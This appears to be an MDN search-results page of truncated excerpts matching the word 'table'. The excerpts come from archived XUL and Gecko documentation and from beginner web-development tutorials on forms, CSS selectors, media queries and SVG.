...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. acc...
... this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
notification - Archive of obsolete content
lose examples <notification label="this is a warning"/> attributes image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. persistence type: integer the persistence may be set to a non-zero value so that the notificationbox's removetransientnotifications method does not remove them. this may be used to close a set of notifications as a group without affecting other notifications. ...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. ima...
...s the value of the label attribute. persistence type: integer gets and sets the value of the persistence attribute. priority type: string gets and sets the value of the priority attribute. type type: string gets and sets the value of the type attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
radio - Archive of obsolete content
he user selects one the buttons, the others in the group are unchecked. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. selected type: boolean indicates whether the element is selected or not. this value is read-only. to change the selection, set either the selectedindex or selecteditem property of the containing element. tabindex type: integer the tab order of the elemen...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accesskey type: character gets and sets the value of the accesskey attribute. accessibletype ty...
... this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
tab - Archive of obsolete content
but is useful in a theme if the first tab should be styled differently. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. last-tab type: boolean this attribute will be set to true for the last tab. this attribute should not be set manually, but is useful in a theme if the last tab should be styled differently. linkedpanel type: id the id of the linked tabpanel element that wi...
... this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
...see bug 307088 and bug 261826. use collapsed instead of hidden. related elements tabbox, tabs, tabpanels, tabpanel. interfaces nsiaccessibleprovider, nsidomxulselectcontrolitemelement ...
treecell - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a single cell in a tree. this element should be placed inside a treerow. you can set the text for the cell using the label attribute. more information is available in the xul tutorial. attributes edi
table, label, mode, properties, ref, src, value attributes edi
table type: boolean allows the contents of individual cells in the column to be changed, especially useful when <treecol type="checkbox">. also useful for disabling editing of individual treecells. when the user double-clicks an edi
table cell, a text field appears in which the user can edit the contents of the cell. the tree and treecol must also be marked as edi
table in order for this to work. the tree must be a conten...
... mode type: one of the values below for columns that are progress meters, this determines the type of progress meter to use. none no progress meter is displayed. the cell text is displayed instead. ...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, data...
nsIContentPolicy - Archive of obsolete content
implementations of this interface can be used to control the loading of various types of out-of-line content, or the processing of certain types of inline content. 63 introduced gecko 1.0 inherits from: nsicontentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe content that is being loaded into your browser by implementing nsicontentpolicy. this interface can be very useful if you are developing a content-aware plugin (blocking ads or altering the look of content, for example), or if you want to stop or allow user-browsed urls. ...
...ring amimetype, in nsisupports aextra, in nsiprincipal arequestprincipal); constants content types constant value description type_other 1 indicates content whose type is unknown, or is not interesting outside a limited use case. in general, you should try not to use this type unless none of the others is a fit. type_script 2 indicates an execu
table script (such as javascript). type_image 3 indicates an image (for example, <img> elements). type_stylesheet 4 indicates a stylesheet (for example, <style> elements). type_object 5 indicates a generic object (plugin-handled content typically falls under this category). type_document 6 indicates a dom document at the top-level (that is, di...
...any dom properties that depend on the current state of the dom outside the "context" node (e.g., lengths of node lists). [javascript implementations only] access properties of any sort on any object without using xpcnativewrapper (either explicitly or implicitly). due to various dom0 things, this leads to item 4. if you do any of these things in your shouldload() implementation, expect unpredic
table behavior, possibly including crashes, content not showing up, content showing up doubled, etc. if you need to do any of the things above, do them off timeout or event. note: when multiple content policies are used (for example through several extensions), if one of them rejects a request, the rest of the policies are not called. reference: //github.com/realityripple/uxp/blob/master/dom/base/nsc...
Archived Mozilla and build documentation - Archive of obsolete content
application extension. supporting private browsing mode firefox 3.5 introduced private browsing mode, in which potentially private information is not recorded. this includes cookies, history information, download information, and so forth. sxsw 2007 presentations presentations about the mozilla project given at the sxsw 2007 event in austin, texas.
table cellmap the
table layout use the cellmap for two purposes:
table cellmap - border collapse this document describes the additional information that is stored for border collapse
tables in the cellmap.
table layout regression tests changes in layout, parser and content code can have unintended side effects, also known as regressions. it is good styl...
...escribes the additional information that is stored for border collapse
tables in the cellmap.
table layout regression tests changes in layout, parser and content code can have unintended side effects, also known as regressions. it is good style to check for these unwanted regressions and fixing them before checkin rather than causing bugzilla avalanches.
table layout strategy the
table layout algorithm is based on two w3c recommendations: html 4.01 (chapter 11) and css2.1 (chapter 17).in css2 a distinction between fixed and auto layout of
tables has been introduced. the auto-layout mechanism is implemented in basic
tablelayoutstrategy.cpp the fixed-layout in fixed
tablelayoutstrategy.cpp. all these files are in the lay...
...trategy the
table layout algorithm is based on two w3c recommendations: html 4.01 (chapter 11) and css2.1 (chapter 17).in css2 a distinction between fixed and auto layout of
tables has been introduced. the auto-layout mechanism is implemented in basic
tablelayoutstrategy.cpp the fixed-layout in fixed
tablelayoutstrategy.cpp. all these files are in the layout/html/
table/src subdirectory. tamarin the download manager schema the download manager uses an sqlite
table to keep track of downloads in progress as well as queued and past downloads. the life of an html http request the new nsstring class implementation (1999) this document is intended to briefly describe the new nsstring class arch...
Mozilla release FAQ - Archive of obsolete content
ine of netscape communicator. originally, the plan was just to re-stabilize the code and release 5.0, but it was decided within the community that the more ambitious changes that were planned for later integration were close to being ready. the old layout engine, networking engine, and several of the older modules were gutted, and much later, the sources reached the point where netscape was comfor
table making a release, and so netscape 6.0 was released. netscape 6.0 and above are based off of the mozilla source. mozilla 1.0 (mozilla uses a different versioning system than netscape) is due for release soon. when was mozilla released? the source to mozilla was first released on 31 march 1998. the code has been continually available since then via cvs (see section 1.8), and occasional binary relea...
...re in some ways similar to the gnu gpl, and in some ways similar to a bsd-style license. take a look at mozilla.org's npl area for details. what are all of the codenames given to various netscape/mozilla projects? gecko (formerly raptor) is the new html rendering engine in mozilla. it features speed improvements, a more modular nature, and significantly less platform-dependant code. it is more sui
table for being embedded in other applications than the previous rendering engine. gemini was a previous rendering engine project, renamed nglayout aurora is the navigation center in mozilla and navigator5 seamonkey refers to versions of mozilla based on xpfe and nglayout normandy refers to the mail/news branch of mozilla what are all these acronyms people are using in the newsgroup? here are...
...the mozilla newsgroups are intended to be used by people who will be working with mozilla, either ...
Vulnerabilities - Archive of obsolete content
software. for example, the address resolution protocol (arp) trusts that an arp reply contains the correct mapping between media access control (mac) and internet protocol (ip) addresses. the arp cache uses that information to provide a useful service—to enable sending data between devices within a local network. however, an attacker could generate false arp messages to poison a system’s arp
table and thereby launch a denial-of-service or a man-in-the-middle attack. the arp protocol was standardized over 25 years ago, and threats have changed a great deal since then, so the trust assumptions inherent in its design then are unlikely to still be reasonable today. it may be hard to differentiate software feature misuse vulnerabilities from the other two categories. for example, both softwar...
...f vulnerabilities inherent in security configuration settings and software feature misuse possibilities, plus the number of software flaw vulnerabilities on a system at any given time, there may be dozens or hundreds of vulnerabilities on a single system. these vulnerabilities are likely to have a wide variety of characteristics. some will be very easy to exploit, while others will only be exploi
table under a combination of highly unlikely conditions. one vulnerability might provide root-level access to a system, while another vulnerability might only permit read access to an insignificant file. ultimately, organizations need to know how difficult it is for someone to exploit each vulnerability and, if a vulnerability is exploited, what the possible impact would be. website vulnerabilities ...
...vulnerability might provide root-level access to a system, while another vulnerability might only permit read access to an insignificant file. ultimately, organizations need to know how difficult it is for someone to exploit each vulnerability and, if a vulnerability is exploited, what the possible impact would be. website vulnerabilities owasp or open web security project is a non-profit chari
table organization focused on improving the security of software and web applications. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. the organization publishes a list of top web security vulnerabilities based on the data from various security organizations. the web security vulnerabilities are prioritized depending on exploitabi...
Theme changes in Firefox 2 - Archive of obsolete content
refox theme to work properly in firefox 2. note: we could use an article called updating themes for firefox 2 that would serve as a how-to guide for updating themes. if anyone with theming experience would like to write one, please do! browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme. the
table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details browser/base/searchdialog.xul browser/base/content/searchdialog.css removed from firefox 2. feeds/addfeedreader.xul feeds/addfeedreader.css new file that presents ui for adding a new feed reader. feeds/subscribe.xht...
... safebrowsing/browser-protection.css new file containing the overlay that's drawn over the browser when you browse to a suspected phishing site. search/enginemanager.xul enginemanager.css new file containing the ui for the search engine manager window. toolkit/mozapps/preferences/fontscaling.xul - removed from firefox 2. changes to the default theme the
table below lists all the changes made in the default theme for firefox 2; you can use this information as a starting point for figuring out the changes you need to make. file description of change browser/bookmarks/addbookmark.css updated to include microsummary-related css changes. browser/bookmarks/bookmarksproperties.css new file; includes microsummary-related c...
... addbookmarks.css file should have the following lines added to the top: @namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); @namespace html url("http://www.w3.org/1999/xhtml"); some microsummary-related css also needs to be added, to provide formatting for the microsummary picker. these are used to make the picker look like a regular text box instead of like an edi
table menu list when there are no microsummaries available. menulist#name[droppable="false"] menulist#name[droppable="false"] > .menulist-edi
table-box menulist#name[droppable="false"] > .menulist-edi
table-box > html|*.textbox-input menulist#name[droppable="false"] > .menulist-dropmarker menulist#name[droppable="false"] > menupopup this file styles addbookmark2.xul. bookmarks/bookmarkspropert...
Using IO Timeout And Interrupt On NT - Archive of obsolete content
due to a limitation of the present implementation of nspr io on nt, programs must follow the following guideline: if a thread calls an nspr io function on a file descriptor and the io function fails with <tt>pr_io_timeout_error</tt> or <tt>pr_pending_interrupt_error</tt>, the file descriptor must be closed before the thread exits. in this memo we explain the problem this guideline is trying to work around and discuss its limitations. nspr io on nt the io model of nspr 2.0 is synchronous and blocking. ...
... but the second <tt>pr_close()</tt> would be freeing freed memory. a solution that may work is to use a lock to ensure only one thread can be using that socket at all times. once there is a timeout or interrupt error, the file descriptor is no longer usable. suppose the file descriptor is intended to be used for the life time of the process, for example, the logging file, this is really not accep
table. a possible solution is to add a <tt>pr_disableinterrupt()</tt> function to turn off interrupts when accessing such file descriptors. a related known bug is that timeout and interrupt don't work for <tt>pr_connect()</tt> on nt. this bug is due to a different limitation in our nt implementation. conclusions as long as we need to support nt 3.51, we need to program under the guideline that after...
...t on files that need to stay open throughout the process. when we stop supporting nt 3.51, we can look into using nt 4's <tt>cancelio()</tt> function to cancel outstanding overlapped io requests when we get io timeout or interrupt errors. if <tt>cancelio()</tt> really works as advertised, that should fundamentally solve this problem. if these limitations with io timeout and interrupt are not accep
table to the needs of your programs, you can consider using the win95 version of nspr. the win95 version runs without trouble on nt, but you would lose the better performance provided by nt fibers and asynchronous io. original document information author: larryh@netscape.com last updated date: december 1, 2004 ...
background-size - Archive of obsolete content
should not the "browser compatibility"
table also list google chrome and konqueror? chome is not mentioned at all, but is becoming increasingly popular. konqueror is listed below the
table, which seems inconsistent. znerd 04 august 2009 chrome, iron, icab4, omniweb etc. are based on webkit, like netscape 6-8, seamonkey, camino, flock, fennec, blackbird etc. are based on gecko. both layout engines are mentioned in the
table. people should refer to the webkit and gecko version to get the info they need. agreed; we should definitely encourage people to look stuff up by engine rather than browser. these
tables should be revised over time to list gecko, webkit, internet explorer, and opera, with perhaps a tooltip on each that provides details on which browsers are encompassed by each. i'm go...
...ld be revised over time to list gecko, webkit, internet explorer, and opera, with perhaps a tooltip on each that provides details on which browsers are encompassed by each. i'm going to post on dev-mdc momentarily with a proposal on this. (sheppy 07 december 2009) we should encourage web developers to ask for layout engines, not for browsers. [that said, the popularity of chrome let me think of a
table row like safari, chrome (webkit) | 4.0, 2.0 (528). but i'm not able and willing spending time for this. remember you have to test yourself, don't trust online references, don't trust webkit | apple | google homepage, they are wrong. don't trust the internet at alll! ] listing konqueror below the
table is a compromise for consistency. feel free to put it inside, nothing is set in stone. kon...
...change the en/css_reference/property_template and all css property pages ; ) start with -webkit-background-size and investigate support of contain and cover keywords and "omitted second value" behavior. [i assume it's the same as safari, since they just backported a webkit patch into khtml. but we need facts, rather than assumptions.] btw, some time ago i'v listed opera in the property template
table and removed netscape because netscape is gecko based and opera has a global market share of > 2% (> 40% in some european countries). user:jürgen jeka 2009-08-04 <hr> is there anyway to have the -moz-border-image only apply if -moz-background-size is not supported? i'm guessing not, just asking because having both rules in for 3.6 creates a strange effect: -moz-border-image gets inherited by eve...
The Business Benefits of Web Standards - Archive of obsolete content
habari, the site theme is a complete and discrete entity in its own right. improved user experience: less bandwidth and fast loads html code is often much more compact (therefore easier to read and maintain) when used in conjunction with css. according to various reports, case studies, and andy king, author of speed up your web site: web site optimization, css has made it possible to transform
table-based layouts into css-based layouts. typically this reduces page size by 25 to 50%. this translates into better user experience, according to usability guru jakob nielsen, who notes that users tend to close a web page when it takes more than 10 seconds to load. the style sheet only needs to load once and then it is cached. the payload might be slightly higher for the first page. but for accessi...
...ines; need not become involved in the actual process of publishing that content at all. and the person applying the markup need not necessarily, know (or care) how it is going to be styled. that has been the real impact of the zen garden, in helping to demonstrate the stunning results which are possible without altering the markup, and indeed keeping the amount of presentational markup to an accep
table minimum. the content - markup - style; model also lends itself very neatly to linear methods of production. no web development activity need or indeed - should take place until the content has been produced. conversely once the content is to hand the development/publishing process should be lighteningly fast. which is as it should be. if we have produced content we want to publish it now. not in...
...roversial move - the announcement has attracted widespread support from leading developers and standards advocates, led by jeffrey zeldman. legacy user agents: netscape 4 and ie4 the only drawback in using css is that older browsers (specifically ie4 and ns4) will not be able to render as intended. in some cases, where a significant portion of the audience is running netscape 4.x, use of simple
tables for layout and css for font control may be a solution. another option is to serve html content to netscape 4.x users, without css style. the content will be usable but not as attractively presented as in a modern browser. furthermore, 4.x browsers are known to have security issues, so their users should be encouraged to upgrade. mandated accessibility being accessible is mandatory in many coun...
Archive of obsolete content
document may be distributed and modified freely. no guarantee of factuality in this faq is made, and it is maintained by pat gunn, who is not affiliated with netscape. various other people have contributed to this faq. newsgroup summaries obsolete: xpcom-based scripting for npapi plugins plugins that used to take advantage of being scrip
table via liveconnect in 4.x netscape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scrip
table via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscap...
...page. security relying on these obsolete security articles is highly discouraged. doing so may put your systems at risk. solaris 10 build prerequisites sunbird theme tutorial this tutorial is a step-by-step guide to making a theme for sunbird 0.3a1 and later versions. it is designed for beginners. it does not cover advanced topics.
table reflow internals key: tamarin tracing build documentation the following instructions are for obtaining and building the tamarin tracing source code. for instructions on tamarin central, please see the basics of web services summary: a current hot topic on the web right now are web services. this short guide will allow you to learn more about web services. ...
... also be used in thunderbird and sunbird (previous versions worked only in firefox). using firebug and jquery (screencast) note: this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ using io timeout and interrupt on nt this technical memo is a cautionary note on using netscape por
table runtime's (nspr) io timeout and interrupt on windows nt 3.51 and 4.0. due to a limitation of the present implementation of nspr io on nt, programs must follow the following guideline: using ssh to connect to cvs using web standards in your web pages using workers in extensions this article shows you how to use worker threads in e...
WAI-ARIA basics - Learn web development
oosing values, etc. html5 provides special input types to render such controls: <input type="date"> <input type="range"> these are not well-supported across browsers, and it is also difficult to style them, making them not very useful for integrating with website designs. as a result, developers quite often rely on javascript libraries that generate such controls as a series of nested <div>s or
table elements with classnames, which are then styled using css and controlled using javascript. the problem here is that visually they work, but screenreaders can't make any sense of what they are at all, and their users just get told that they can see a jumble of elements with no semantics to describe what they mean. enter wai-aria wai-aria (web accessibility initiative - accessible rich internet ...
...ies that a form input needs to be filled in to be valid, whereas aria-labelledby="label" allows you to put an id on an element, then reference it as being the label for anything else on the page, including multiple elements, which is not possible using <label for="input">. as an example, you could use aria-labelledby to specify that a key description contained in a <div> is the label for multiple
table cells, or you could use it as an alternative to image alt text — specify existing information on the page as an image's alt text, rather than having to repeat it inside the alt attribute. you can see an example of this at text alternatives. states — special properties that define the current conditions of elements, such as aria-disabled="true", which specifies to a screenreader that a form i...
...go to voiceover's landmarks menu (accessed using voiceover key + u and then using the cursor keys to cycle through the menu choices), you'll see that most of the elements are nicely listed so they can be accessed quickly. however, we could do better here. the search form is a really important landmark that people will want to find, but it is not listed in the landmarks menu or treated like a no
table landmark, beyond the actual input being called out as a search input (<input type="search">). in addition, some older browsers (most notably ie8) don't recognise the semantics of the html5 elements. let's improve it by the use of some aria features. first, we'll add some role attributes to our html structure. you can try taking a copy of our original files (see index.html and style.css), or navi...
CSS selectors - Learn web development
a <span> was wrapped around the first formatted line and then selected. p::first-line { } combinators the final group of selectors combine other selectors in order to target elements within our documents. ...
... children of <article> elements using the child combinator (>): article > p { } next steps you can take a look at the reference
table of selectors below for direct links to the various types of selectors in this learn section or on mdn in general, or continue on to start your journey by finding out about type, class, and id selectors. previous overview: building blocks next reference
table of selectors the below
table gives you an overview of the selectors you have available to use, along with links to the pages in this guide which will show you how to use each type of selector. i have also included a link to the mdn page for each selector where you can check browser support information. you can use this as a reference to come back to when you need to look up selectors later in th...
...combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Beginner's guide to media queries - Learn web development
mode. to change the body text color if the device is in landscape orientation, use the following media query. @media (orientation: landscape) { body { color: rebeccapurple; } } open this example in the browser, or view the source. a standard desktop view has a landscape orientation, and a design that works well in this orientation may not work as well when viewed on a phone or
tablet in portrait mode. testing for orientation can help you to create a layout which is optimised for devices in portrait mode. use of pointing devices as part of the level 4 specification, the hover media feature was introduced. this feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and ...
...example the text will only be blue if the orientation is portrait. @media not all and (orientation: landscape) { body { color: blue; } } open this example in the browser, or view the source. how to choose breakpoints in the early days of responsive design, many designers would attempt to target very specific screen sizes. lists of the sizes of the screens of popular phones and
tablets were published in order that designs could be created to neatly match those viewports. there are now far too many devices, with a huge variety of sizes, to make that feasible. this means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the content starts to break in some way. perhaps the line lengths become far too long, or ...
.../a></li> </ul> </nav> </header> <main> <article> <div class="content"> <h1>veggies!</h1> <p> ... </p> </div> <aside class="related"> <p> ... </p> </aside> </article> <aside class="sidebar"> <h2>external vege
table-based links</h2> <ul> <li> ... </li> </ul> </aside> </main> <footer><p>©2019</p></footer> </div> </body> this simple layout also works well on mobile. if we view the layout in responsive design mode in devtools we can see that it works pretty well as a straightforward mobile view of the site. open step 1 ...
Fundamental text and font styling - Learn web development
onts: serif, sans-serif, monospace, cursive and fantasy. those are very generic and the exact font face used when using those generic names is up to each browser and can vary for each operating system they are running on. it represents a worst case scenario where the browser will try to do its best to provide at least a font that looks appropriate. serif, sans-serif and monospace are quite predic
table and should provide something reasonable. on the other hand, cursive and fantasy are less predic
table and we recommend using them very carefully, testing as you go. the five names are defined as follows: term definition example serif fonts that have serifs (the flourishes and other small details you see at the ends of the strokes in some typefaces) my big red el...
...nt-family value consisting of multiple font names separated by commas, e.g. p { font-family: "trebuchet ms", verdana, sans-serif; } in such a case, the browser starts at the beginning of the list and looks to see if that font is available on the machine. if it is, it applies that font to the selected elements. if not, it moves on to the next font, and so on. it is a good idea to provide a sui
table generic font name at the end of the stack so that if none of the listed fonts are available, the browser can at least provide something approximately sui
table. to emphasise this point, paragraphs are given the browser's default serif font if no other option is available — which is usually times new roman — this is no good for a sans-serif font! note: font names that have more than one word ...
... if you make a mistake, you can always reset it using the reset button. playable code <div class="body-wrapper" style="font-family: 'open sans light',helvetica,arial,sans-serif;"> <h2>html input</h2> <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> <p>some sample text for your delight</p> </textarea> <h2>cs...
HTML forms in legacy browsers - Learn web development
solve most of the problems caused by legacy browsers. and html5 <input> types don't fail when not supported: they fall back to type=text. learn about the issues to understand common patterns, it helps to read browser documentation. if you are reading this on mdn, you are at the right place to start. just check the support of the elements (or dom interface) you want to use. mdn has compatibility
tables available for most elements, properties and apis that can be used in a web page. there are other resources that can be amazingly helpful: browser vendor documentation mozilla: you're in the right place, just browse mdn microsoft: internet explorer standards support documentation webkit: because there are several different editions of this engine, things are a little trickier. the web...
...ting a wide range of browsers at the same time. when you build something for a modern browser, and you want to be sure it will work, one way or another, on legacy browsers, you are performing graceful degradation. let's see some examples related to html forms. html input types the input types added in html5 are all useable, even in ancient browsers, because the way they degrade is highly predic
table. if a browser does not know the value of the type attribute of an <input> element, it will fall back as if the value were text. <label for="mycolor"> pick a color <input type="color" id="mycolor" name="color"> </label> supported not supported form buttons there are two ways to define buttons within html forms: the <input> element with its attribute t...
... radius on a <meter> will lead to likely unexpected results that differ across browsers. you can declare appearance: none; to remove the browser styles, but that generally defeats the purpose: as you lose all styling, removing the default look and feel your visitors are used to. to summarize, when it comes to styling form control widgets, the side effects of styling them with css can be unpredic
table. so don't. as you can see from the complexity of the property compatibility
table for form widgets article, it's very difficult. even if it's still possible to do a few adjustments on text elements (such as sizing or font color), there are always side effects. the best approach remains to not style html form widgets at all. but you can still apply styles to all the surrounding items. and, if you ...
How to structure a web form - Learn web development
want to create an html form, you must start it by using this element, nesting all the contents inside. many assistive technologies and browser plugins can discover <form> elements and implement special hooks to make them easier to use. we already met this in the previous article. warning: it's strictly forbidden to nest a form inside another form. nesting can cause forms to behave in an unpredic
table manner, so it is a bad idea. it's always possible to use a form control outside of a <form> element. if you do so, by default that control has nothing to do with any form unless you associate it with a form using the form attribute. this was introduced to let you explicitly bind a control with a form even if it is not nested inside it. let's move forward and cover the structural elements you'll...
... label and its widget with a <li> element within a <ul> or <ol> list. <p> and <div> elements are also commonly used. lists are recommended for structuring multiple checkboxes or radio buttons. in addition to the <fieldset> element, it's also common practice to use html titles (e.g. <h1>, <h2>) and sectioning (e.g. <section>) to structure complex forms. above all, it is up to you to find a comfor
table coding style that results in accessible, usable forms. each separate section of functionality should be contained in a separate <section> element, with <fieldset> elements to contain radio buttons. active learning: building a form structure let's put these ideas into practice and build a slightly more involved form — a payment form. this form will contain a number of control types that you ma...
...t previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility
table for form widgets ...
Define terms with HTML - Learn web development
you can operate on all abbreviations uniformly. just as with any new keyword, you should define your abbreviations the first time they occur. <p> <dfn><abbr>html</abbr> (hypertext markup language)</dfn> is a description language used to structure documents on the web. </p> the html spec does indeed set aside the title attribute for expanding the abbreviation. however, this is not an accep
table alternative for providing an inline expansion. the contents of title are completely hidden from your users, unless they're using a mouse and they happen to hover over the abbreviation. the spec duly acknowledges this as well. improve accessibility <dfn> marks the keyword defined, and indicates that the current paragraph defines the keyword. in other words, there's an implicit relationship betw...
...escribedby on any tag enclosing a keyword to be defined (not just the <dfn> element). aria-describedby references the id of the element containing the description. how to build a description list description lists are just what they claim to be: a list of terms and their matching descriptions (e.g., definition lists, dictionary entries, faqs, and key-value pairs). description lists are not sui
table for marking up dialogue, because conversation does not directly describe the speakers. here are recommendations for marking up dialogue. the terms described go inside <dt> elements. the matching description follows immediately, contained within one or more <dd> elements. enclose the whole description list with a <dl> element. a simple example here's a simple example describing kinds of food a...
...hin one or more <dd> elements. enclose the whole description list with a <dl> element. a simple example here's a simple example describing kinds of food and drink: <dl> <dt>jambalaya</dt> <dd> rice-based entree typically containing chicken, sausage, seafood, and spices </dd> <dt>sukiyaki</dt> <dd> japanese specialty consisting of thinly sliced meat, vege
tables, and noodles, cooked in sake and soy sauce </dd> <dt>chianti</dt> <dd> dry italian red wine originating in tuscany </dd> </dl> the basic pattern, as you can see, is to alternate <dt> terms with <dd> descriptions. if two or more terms occur in a row, the following description applies to all of them. if two or more descriptions occur in a row, they all apply to the last giv...
Advanced text formatting - Learn web development
text in the input field so that it appears as a description list in the output field. you could try using your own terms and descriptions if you like. if you make a mistake, you can always reset it using the reset button. if you get really stuck, press the show solution button to see the answer. playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>edi
table code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%"> bacon the glue that binds the world together. eggs the glue that binds the cake together. coffee the drink that gets the world running in the morning. a light brown color.</textarea> <div class="playable-butto...
...tes/authors/c/confucius.html for the confucius quote http://www.affirmationsforpositivethinking.com for "the need to eliminate negative self talk". if you make a mistake, you can always reset it using the reset button. if you get really stuck, press the show solution button to see the answer. playable code 2 <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>edi
table code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 150px; width: 95%"> <p>hello and welcome to my motivation page. as confucius' quotes site says:</p> <p>it does not matter how slowly you go as long as you do not stop.</p> <p>i also love the concept of positive thinking, and the n...
... a similar function that it was considered pointless to have both. just use <abbr> instead. active learning: marking up an abbreviation for this simple active learning assignment, we'd like you to simply mark up an abbreviation. you can use our sample below, or replace it with one of your own. ...
Adding vector graphics to the Web - Learn web development
uld anyone want to use raster graphics over svg? well, svg does have some disadvantages: svg can get complicated very quickly, meaning that file sizes can grow; complex svgs can also take significant processing time in the browser. svg can be harder to create than raster images, depending on what kind of image you are trying to create. svg is not supported in older browsers, so may not be sui
table if you need to support older versions of internet explorer with your web site (svg started being supported as of ie9.) raster graphics are arguably better for complex precision images such as photos, for the reasons described above. note: in inkscape, save your files as plain svg to save space. also, please refer to this article describing how to prepare svgs for the web. adding svg to your...
...or wherever you put the css style rules for your html document. in fact, you can use any svg presentation attribute as a css property. inlining svg is the only approach that lets you use css interactions (like :focus) and css animations on your svg image (even in your regular stylesheet.) you can make svg markup into a hyperlink by wrapping it in an <a> element. cons this method is only sui
table if you're using the svg in only one place. duplication makes for resource-intensive maintenance. extra svg code increases the size of your html file. the browser cannot cache inline svg as it would cache regular image assets, so pages that include the image will not load faster after the first page containing the image is loaded. you may include fallback in a <foreignobject> element, but brows...
